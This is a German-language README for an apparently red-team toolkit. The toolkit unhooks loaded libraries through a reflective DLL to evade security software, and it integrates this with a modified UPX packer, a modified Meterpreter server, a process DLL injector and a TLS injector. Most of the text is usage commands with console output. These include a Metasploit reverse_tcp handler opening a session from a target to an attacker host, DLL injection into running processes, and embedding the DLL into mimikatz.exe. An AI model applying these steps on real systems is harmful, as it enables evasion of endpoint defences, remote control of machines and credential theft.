
Reflektierende DLL, die den Prozessspeicher scannt und geladene Bibliotheken aushakt, um Sicherheitssoftware zu umgehen, mit UPX-, TLS-Injector- und Meterpreter-Integration.
DLLRefresher.exe ist ein eigenständiges Testprogramm zum Durchsuchen des Speicherbereichs des Prozesses und zum Aufheben der Hooks der aktuell geladenen Bibliotheken.
Die gepackten UPX-Binärdateien wurden so modifiziert, dass sie einen zusätzlichen Parameter (-X <path/to/target.dll>) unterstützen, der in die gepackte Binärdatei eingebettet wird. Die fertige UPX-gepackte Binärdatei entpackt die Zielanwendung im Speicher und ruft die eingebettete DLL auf, bevor sie zum ursprünglichen Einstiegspunkt der Anwendung springt.
Der modifizierte UPX-Quellcode ist unter https://github.com/CylanceVulnResearch/upx/tree/reflective_dll zu finden.
Verwendung:
upx -o <output filename> -X <path/to/embed.dll> <target executable>
Beispiel:
upx -o packed_binary.exe -X ReflectiveDLL.x86.dll target_binary.exe
Die metsrv.dll (und die zugehörigen Plugins im Ordner meterpreter) ist ein modifizierter Meterpreter-Server, der die Hooks der aktuell geladenen Bibliotheken aufhebt, bevor die Meterpreter-Initialisierung ausgeführt wird.
Verwendung:
Kopieren Sie alle DLLs aus dem Ordner meterpreter nach metasploit-framework/data/meterpreter/ und erlangen Sie wie gewohnt die Ausführung von Meterpreter auf dem Ziel.
Beispiel:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.10.10.171:4444
[*] Starting the payload handler...
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (1195055 bytes) to 10.10.10.186
[*] Meterpreter session 1 opened (10.10.10.171:4444 -> 10.10.10.186:58657) at 2016-10-03 10:07:39 -0400
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
meterpreter > WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
Inject.exe ist ein Hilfsprogramm, um eine gegebene DLL in einen beliebigen Prozess zu injizieren.
Verwendung:
Inject.exe <pid> <filename>
Beispiel:
Inject.exe 2964 ReflectiveDLLRefresher.x86.dll
[+] Injected the 'ReflectiveDLLRefresher.x86.dll' DLL into process 2964.
Die DLL kann über eine Meterpreter-Sitzung mit dem Modul post/windows/manage/reflective_dll_inject injiziert werden.
Verwendung:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION <session-id>
msf post(reflective_dll_inject) > set PID <pid of meterpreter session>
msf post(reflective_dll_inject) > run
Beispiel:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION 1
msf post(reflective_dll_inject) > set PID 4068
msf post(reflective_dll_inject) > run
[*] Running module against WIN10DEV
[*] Injecting /root/ReflectiveDLLRefresher.x86.dll into 4068 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
tlsInjector.py ist eine modifizierte Version von Borja Merinos Skript zur Unterstützung der reflektiven DLL-Injektion. Es nimmt eine reflektive DLL und injiziert sie in den TLS-Bereich einer 32-Bit-Anwendung (64-Bit wird nicht unterstützt).
Verwendung:
python tlsInjector.py -l <path/to/embed.dll> -f <target executable> -o <output filename> -t
Beispiel:
python tlsInjector.py -l ReflectiveDLLRefresher.x86.dll -f mimikatz.exe -o mimikatz_tls.exe -t